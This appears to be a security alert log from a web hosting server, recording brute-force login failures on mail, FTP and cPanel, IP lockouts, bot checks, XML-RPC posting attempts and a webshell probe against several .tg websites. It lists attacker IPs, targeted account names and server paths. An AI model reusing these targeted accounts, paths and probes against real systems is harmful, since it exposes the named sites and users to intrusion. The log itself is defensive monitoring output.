name: Exim Auth failed
abuser: 192.42.116.66
country_id: 2750405
description:
2026-06-12 19:44:36 dovecot_plain authenticator failed for H=(8jeh32if2vdmhcw6odsvoy5jaiddsw1k) [192.42.116.66]:41757: 535 Incorrect authentication data (set_id=mointie@emt.tg)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 195.19.52.187
country_id: 2017370
description:
Jun 12 19:44:45 ns5 auth[1698885]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 195.19.52.187 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 195.19.52.187
country_id: 2017370
description:
2026-06-12 19:44:47 dovecot_plain authenticator failed for H=(agpfn16q6nf2mksgzqzwqwu) [195.19.52.187]:62312: 535 Incorrect authentication data (set_id=contact@dany2.mairie.tg)


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 47.128.96.134
country_id: 1880251
description:
47.128.96.134 - - [12/Jun/2026:19:45:34 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=12808042&pdata=https%253A%252F%252Fvitrinenews.tg%252F2024%252F01%252F23%252F&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781293533 HTTP/2.0" 302 0 vitrinenews.tg "https://vitrinenews.tg/2024/01/23/" "Mozilla/5.0 (Linux; Android 5.0) AppleWebKit/537.36 (KHTML, like Gecko) Mobile Safari/537.36 (compatible; TikTokSpider; ttspider-feedback@tiktok.com)" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:47.128.96.134


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 178.20.210.21
country_id: 2921044
description:
Jun 12 19:48:05 ns5 auth[1698885]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 178.20.210.21 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 62.60.130.139
country_id: 130758
description:
2026-06-12 19:49:59 dovecot_login authenticator failed for H=(localhost) [62.60.130.139]:51077: 535 Incorrect authentication data (set_id=faxserver)


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 47.128.96.196
country_id: 1880251
description:
47.128.96.196 - - [12/Jun/2026:19:50:20 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=7302244&pdata=https%253A%252F%252Ftdn.tg%252Fyas-togo-top-employer-2026%252F&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781293819 HTTP/2.0" 302 0 tdn.tg "https://tdn.tg/yas-togo-top-employer-2026/" "Mozilla/5.0 (Linux; Android 5.0) AppleWebKit/537.36 (KHTML, like Gecko) Mobile Safari/537.36 (compatible; TikTokSpider; ttspider-feedback@tiktok.com)" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:47.128.96.196


plugin: ossec
rule: 11301
name: New FTP connection.
abuser: 205.210.31.154
country_id: 3469034
description:
Jun 12 19:51:04 ns5 pure-ftpd[1838565]: (?@205.210.31.154) [INFO] New connection from 205.210.31.154


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 87.95.255.244
country_id: 660013
description:
[2026-06-12 19:52:13 +0000] info [cpaneld] 87.95.255.244 - admin "GET /login/?login_only=1&user=admin&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user admin (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 148.222.205.171
country_id: 3895114
description:
[2026-06-12 19:52:18 +0000] info [cpaneld] 148.222.205.171 - ameak "GET /login/?login_only=1&user=ameak&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user ameak (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 103.18.34.210
country_id: 1643084
description:
[2026-06-12 19:52:28 +0000] info [cpaneld] 103.18.34.210 - ame "GET /login/?login_only=1&user=ame&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user ame (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 191.104.105.165
country_id: 3686110
description:
[2026-06-12 19:52:31 +0000] info [cpaneld] 191.104.105.165 - am "GET /login/?login_only=1&user=am&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user am (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 191.95.131.216
country_id: 3686110
description:
[2026-06-12 19:52:24 +0000] info [cpaneld] 191.95.131.216 - amea "GET /login/?login_only=1&user=amea&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user amea (has_cpuser_file failed)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 178.20.210.21
country_id: 2921044
description:
Jun 12 19:53:55 ns5 auth[1698885]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 178.20.210.21 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 178.20.210.21
country_id: 2921044
description:
Jun 12 19:54:28 ns5 auth[1698885]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 178.20.210.21 has been locked due to Imunify RBL


plugin: ossec
rule: 11302
name: FTP Authentication failed.
abuser: 137.184.97.15
country_id: 6252001
description:
Jun 12 19:55:09 ns5 pure-ftpd[1840618]: (?@137.184.97.15) [WARNING] Authentication failed for user [elpidio]


plugin: ossec
rule: 11302
name: FTP Authentication failed.
abuser: 137.184.97.15
country_id: 6252001
description:
Jun 12 19:55:23 ns5 pure-ftpd[1840692]: (?@137.184.97.15) [WARNING] Authentication failed for user [ZsrhS1a$a6]


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 34.122.147.229
country_id: 6252001
description:
34.122.147.229 - - [12/Jun/2026:19:56:29 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=6788706&pdata=https%253A%252F%252Fcrepsad.tg&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781294187 HTTP/2.0" 302 0 crepsad.tg "https://crepsad.tg/" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/125.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:34.122.147.229


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 156.0.134.124
country_id: 2300660
domain: bieredjama.tg
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:88021.bieredjama.tg||ServerName:bieredjama.tg||Method:metaWeblog.newPost||BlogID:1||TitleSHA:b8e40cb41c383130c12f1b1f94969638249f20d2||Title:0x7a0b75a6||RSV:8.15||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 62.60.130.139
country_id: 130758
description:
Jun 12 19:58:52 ns5 auth[1698885]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 62.60.130.139 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 62.60.130.139
country_id: 130758
description:
2026-06-12 19:58:54 dovecot_login authenticator failed for H=(localhost) [62.60.130.139]:55202: 535 Incorrect authentication data (set_id=nasim)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 139.59.138.122
country_id: 2921044
description:
2026-06-12 19:58:57 dovecot_login authenticator failed for H=(account.dgdn-togo.tg) [139.59.138.122]:44054: 535 Incorrect authentication data (set_id=contact@dgdn-togo.tg)


plugin: ossec
rule: 11302
name: FTP Authentication failed.
abuser: 137.184.97.15
country_id: 6252001
description:
Jun 12 20:00:50 ns5 pure-ftpd[1843675]: (?@137.184.97.15) [WARNING] Authentication failed for user [Kisiniov@msn.com]


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 180.74.219.31
country_id: 1733045
description:
[2026-06-12 20:02:03 +0000] info [cpaneld] 180.74.219.31 - togof "GET /login/?login_only=1&user=togof&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user togof (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 90.51.190.98
country_id: 3017382
description:
[2026-06-12 20:01:59 +0000] info [cpaneld] 90.51.190.98 - togofe "GET /login/?login_only=1&user=togofe&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user togofe (has_cpuser_file failed)


plugin: ossec
rule: 11331
name: Stealth FTP brute force attack
abuser: 137.184.97.15
country_id: 6252001
description:
Jun 12 20:03:22 ns5 pure-ftpd[1845192]: (?@137.184.97.15) [WARNING] Authentication failed for user [Fds57YGFYd8]


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 62.60.130.139
country_id: 130758
description:
2026-06-12 20:07:19 dovecot_login authenticator failed for H=(localhost) [62.60.130.139]:33849: 535 Incorrect authentication data (set_id=signs)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 62.60.130.139
country_id: 130758
description:
Jun 12 20:07:17 ns5 auth[1698885]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 62.60.130.139 has been locked due to Imunify RBL


plugin: ossec
rule: 11001
name: Deferred login on the cpanel service
abuser: 196.171.46.177
country_id: 2363686
description:
[2026-06-12 20:08:57 +0000] info [webmaild] 196.171.46.177 - kekeli.alemawo@togointerim.net "GET / HTTP/1.1" DEFERRED LOGIN webmaild: security token missing


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 213.92.222.76
country_id: 798544
description:
Jun 12 20:10:22 ns5 auth[1698885]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 213.92.222.76 has been locked due to Imunify RBL


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 43.156.179.76
country_id: 1880251
description:
43.156.179.76 - - [12/Jun/2026:20:14:15 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=6329963&pdata=https%253A%252F%252Flaunetogo.tg%252Fnouvelles-methodes-parlementaires-une-formation-pour-les-commissions-permanentes%252F&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781295253 HTTP/2.0" 302 0 launetogo.tg "https://launetogo.tg/nouvelles-methodes-parlementaires-une-formation-pour-les-commissions-permanentes/" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/149.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:43.156.179.76


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 190.89.136.217
country_id: 3469034
description:
Jun 12 20:16:30 ns5 auth[1698885]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 190.89.136.217 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 185.68.178.172
country_id: 3175395
description:
Jun 12 20:16:49 ns5 auth[1698885]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 185.68.178.172 has been locked due to Imunify RBL


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 64.176.42.74
country_id: 1861060
domain: kpmg.tg
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:8.15||T:APACHE||MV:/wp-content/uploads/index.php||SC:/home/kpmg/public_html/wp-content/uploads||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 201.91.233.238
country_id: 3469034
description:
Jun 12 20:19:59 ns5 auth[1698885]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 201.91.233.238 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 118.172.43.114
country_id: 1605651
description:
Jun 12 20:20:15 ns5 auth[1698885]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 118.172.43.114 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 148.72.64.32
country_id: 6252001
description:
Jun 12 20:20:46 ns5 auth[1698885]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 148.72.64.32 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 80.87.33.2
country_id: 798544
description:
Jun 12 20:21:00 ns5 auth[1698885]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 80.87.33.2 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 118.172.43.114
country_id: 1605651
description:
Jun 12 20:21:06 ns5 auth[1698885]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 118.172.43.114 has been locked due to Imunify RBL


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 14.230.65.143
country_id: 1562822
description:
[2026-06-12 20:20:44 +0000] info [cpaneld] 14.230.65.143 - itstg "GET /login/?login_only=1&user=itstg&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user itstg (has_cpuser_file failed)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 139.59.138.122
country_id: 2921044
description:
2026-06-12 20:21:06 dovecot_login authenticator failed for H=(account.dgdn-togo.tg) [139.59.138.122]:57916: 535 Incorrect authentication data (set_id=contact@dgdn-togo.tg)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 121.200.48.114
country_id: 1269750
description:
Jun 12 20:21:57 ns5 auth[1698885]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 121.200.48.114 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 121.200.48.114
country_id: 1269750
description:
2026-06-12 20:21:59 dovecot_login authenticator failed for H=(vmi2893052.contaboserver.net) [121.200.48.114]:58703: 535 Incorrect authentication data (set_id=wages@wages.tg)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 201.91.233.238
country_id: 3469034
description:
Jun 12 20:21:53 ns5 auth[1698885]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 201.91.233.238 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 124.88.218.97
country_id: 1814991
description:
Jun 12 20:21:56 ns5 auth[1698885]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 124.88.218.97 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 110.25.90.235
country_id: 1668284
description:
Jun 12 20:23:10 ns5 auth[1698885]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 110.25.90.235 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 118.172.43.114
country_id: 1605651
description:
Jun 12 20:23:17 ns5 auth[1698885]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 118.172.43.114 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 43.228.131.114
country_id: 2029969
description:
Jun 12 20:22:24 ns5 auth[1698885]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 43.228.131.114 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 36.67.215.227
country_id: 1643084
description:
Jun 12 20:22:29 ns5 auth[1698885]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 36.67.215.227 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 187.120.106.133
country_id: 3469034
description:
Jun 12 20:22:35 ns5 auth[1698885]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 187.120.106.133 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 80.87.33.2
country_id: 798544
description:
Jun 12 20:23:07 ns5 auth[1698885]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 80.87.33.2 has been locked due to Imunify RBL


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 102.85.7.180
country_id: 226074
domain: sp-eau.tg
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:admin.sp-eau.tg||ServerName:sp-eau.tg||Method:metaWeblog.newPost||BlogID:1||TitleSHA:f026ba93e9b7eaf91ce2d0cbf470f1f0d648e723||Title:n53k94fx6mwpfa||RSV:8.15||T:APACHE||


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 102.85.7.180
country_id: 226074
domain: sp-eau.tg
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:admin.sp-eau.tg||ServerName:sp-eau.tg||Method:metaWeblog.newPost||BlogID:1||TitleSHA:5fa9b990c3a88e3bfe60f02a57957e7bd024906b||Title:1a0a69cboczzxc||RSV:8.15||T:APACHE||


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 102.85.7.180
country_id: 226074
domain: sp-eau.tg
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:admin.sp-eau.tg||ServerName:sp-eau.tg||Method:metaWeblog.newPost||BlogID:1||TitleSHA:7137121c2ecf87c42f8e1c679406633a0f499680||Title:lg0u2fdk7q5ldo59mr||RSV:8.15||T:APACHE||


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 203.177.64.130
country_id: 1694008
domain: butodra.tg
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:admin.butodra.tg||ServerName:butodra.tg||Method:metaWeblog.newPost||BlogID:1||TitleSHA:dc30c5609f6b740668d686b64a6d23841d472769||Title:rle30gg4d7dkmk||RSV:8.15||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.142
country_id: 130758
description:
2026-06-12 20:26:33 dovecot_login authenticator failed for H=(localhost) [81.30.98.142]:44852: 535 Incorrect authentication data (set_id=misty@ns5.netmaster.tg)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.144
country_id: 130758
description:
Jun 12 20:26:37 ns5 auth[1698885]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.144 has been locked due to Imunify RBL


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 151.35.194.219
country_id: 3175395
domain: c2ie.tg
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:15623.c2ie.tg||ServerName:c2ie.tg||Method:metaWeblog.newPost||BlogID:1||TitleSHA:769d51d6d8e3ec42a7f6a368b2654e83bc117196||Title:0xfd6a97f5||RSV:8.15||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.158
country_id: 130758
description:
2026-06-12 20:26:29 dovecot_login authenticator failed for H=(localhost) [81.30.98.158]:9506: 535 Incorrect authentication data (set_id=olivetti@ns5.netmaster.tg)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.49
country_id: 130758
description:
Jun 12 20:26:30 ns5 auth[1698885]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.49 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.142
country_id: 130758
description:
Jun 12 20:26:31 ns5 auth[1698885]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.142 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.49
country_id: 130758
description:
2026-06-12 20:26:32 dovecot_login authenticator failed for H=(localhost) [81.30.98.49]:8282: 535 Incorrect authentication data (set_id=porto@ns5.netmaster.tg)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.44
country_id: 130758
description:
Jun 12 20:26:32 ns5 auth[1698885]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.44 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.44
country_id: 130758
description:
2026-06-12 20:26:34 dovecot_login authenticator failed for H=(localhost) [81.30.98.44]:22326: 535 Incorrect authentication data (set_id=theta@ns5.netmaster.tg)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.144
country_id: 130758
description:
2026-06-12 20:26:39 dovecot_login authenticator failed for H=(localhost) [81.30.98.144]:12828: 535 Incorrect authentication data (set_id=n1@ns5.netmaster.tg)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.158
country_id: 130758
description:
Jun 12 20:26:27 ns5 auth[1698885]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.158 has been locked due to Imunify RBL


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 112.134.175.54
country_id: 1227603
domain: butodra.tg
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:admin.butodra.tg||ServerName:butodra.tg||Method:metaWeblog.newPost||BlogID:1||TitleSHA:2f747438533b3121d664ca7ba67e642d98a935f2||Title:t0yzahaqx361bvy||RSV:8.15||T:APACHE||


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 148.255.212.204
country_id: 3508796
description:
148.255.212.204 - - [12/Jun/2026:20:28:05 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=9805208&pdata=https%253A%252F%252Ftogodailynews.tg%252Fsecteur-routier-a-la-decouverte-de-lauto-ecole-litineraire%252F&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781296083 HTTP/2.0" 302 0 togodailynews.tg "https://togodailynews.tg/secteur-routier-a-la-decouverte-de-lauto-ecole-litineraire/" "Mozilla/5.0 (Linux; Android 5.0; SM-G900P Build/LRX21T) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.4924.1416 Mobile Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:148.255.212.204


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 102.85.7.180
country_id: 226074
domain: sp-eau.tg
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:admin.sp-eau.tg||ServerName:sp-eau.tg||Method:metaWeblog.newPost||BlogID:1||TitleSHA:1e5012902b777d367d3e0a9087fe14fa8e43ed32||Title:lseu4vqrle731h0x||RSV:8.15||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 87.106.62.44
country_id: 2921044
description:
2026-06-12 20:28:44 dovecot_plain authenticator failed for H=ip87-106-62-44.pbiaas.com (87nw1l685kyw6g6e) [87.106.62.44]:46804: 535 Incorrect authentication data (set_id=welldrive@confortis.tg)


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 191.25.149.196
country_id: 3469034
description:
191.25.149.196 - - [12/Jun/2026:20:29:29 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=9659233&pdata=https%253A%252F%252Ftogodailynews.tg%252Fsante-publique-le-togo-intensifie-la-lutte-contre-les-affections-chroniques%252F&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781296167 HTTP/2.0" 302 0 togodailynews.tg "https://togodailynews.tg/sante-publique-le-togo-intensifie-la-lutte-contre-les-affections-chroniques/" "Mozilla/5.0 (Linux; Android 6.0; Nexus 5 Build/MRA58N) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.9527.1405 Mobile Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:191.25.149.196


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 191.96.227.254
country_id: 6252001
description:
2026-06-12 20:32:08 dovecot_plain authenticator failed for H=([10.45.203.169]) [191.96.227.254]:17827: 535 Incorrect authentication data (set_id=ymintre@otr.tg)


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 34.122.147.229
country_id: 6252001
description:
34.122.147.229 - - [12/Jun/2026:20:32:14 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=9987183&pdata=http%253A%252F%252Fjvvtdy.mediatopnews.tg&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781296333 HTTP/1.1" 302 0 jvvtdy.mediatopnews.tg "http://jvvtdy.mediatopnews.tg/" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/125.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:34.122.147.229


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 205.169.39.24
country_id: 6252001
description:
205.169.39.24 - - [12/Jun/2026:20:32:12 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=9817197&pdata=http%253A%252F%252Fjvvtdy.mediatopnews.tg&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781296331 HTTP/1.1" 302 0 jvvtdy.mediatopnews.tg "http://jvvtdy.mediatopnews.tg/" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.5938.132 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:205.169.39.24


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 151.35.194.219
country_id: 3175395
domain: c2ie.tg
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:admin.c2ie.tg||ServerName:c2ie.tg||Method:metaWeblog.newPost||BlogID:1||TitleSHA:7d8800c7a23059c839485386edda2301b6195d22||Title:0x9f4031a0||RSV:8.15||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 191.96.227.254
country_id: 6252001
description:
Jun 12 20:32:06 ns5 auth[1698885]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 191.96.227.254 has been locked due to Imunify RBL


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 151.35.194.219
country_id: 3175395
domain: c2ie.tg
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:admin.c2ie.tg||ServerName:c2ie.tg||Method:metaWeblog.newPost||BlogID:1||TitleSHA:1c60f9357576b39eccbca485839cf42e7eecfc28||Title:0xdf3ad506||RSV:8.15||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 191.96.227.254
country_id: 6252001
description:
2026-06-12 20:32:38 dovecot_plain authenticator failed for H=([10.45.203.169]) [191.96.227.254]:18732: 535 Incorrect authentication data (set_id=ymintre@otr.tg)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 191.96.227.254
country_id: 6252001
description:
Jun 12 20:32:36 ns5 auth[1698885]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 191.96.227.254 has been locked due to Imunify RBL


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 151.35.194.219
country_id: 3175395
domain: c2ie.tg
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:admin.c2ie.tg||ServerName:c2ie.tg||Method:metaWeblog.newPost||BlogID:1||TitleSHA:6dfefe5ac6a53460f9f3e7ed283165864138e1e7||Title:0x6a59ff14||RSV:8.15||T:APACHE||


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 102.85.7.180
country_id: 226074
domain: sp-eau.tg
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:admin.sp-eau.tg||ServerName:sp-eau.tg||Method:metaWeblog.newPost||BlogID:1||TitleSHA:38152c829eeaf8ab03d71809543c35f65892ebc3||Title:5qjw2cfyx335tpag||RSV:8.15||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 159.223.62.22
country_id: 1880251
description:
Jun 12 20:34:42 ns5 auth[1698885]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 159.223.62.22 has been locked due to Imunify RBL


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 151.35.194.219
country_id: 3175395
domain: c2ie.tg
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:admin.c2ie.tg||ServerName:c2ie.tg||Method:metaWeblog.newPost||BlogID:1||TitleSHA:04e77e72b40bbb94d6f9289a0f267da1f49f6915||Title:0x8c793c00||RSV:8.15||T:APACHE||


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 151.35.194.219
country_id: 3175395
domain: c2ie.tg
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:admin.c2ie.tg||ServerName:c2ie.tg||Method:metaWeblog.newPost||BlogID:1||TitleSHA:c7666af35a609aee9188017a5e0c5662ea182fbc||Title:0x3831587d||RSV:8.15||T:APACHE||


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 151.35.194.219
country_id: 3175395
domain: c2ie.tg
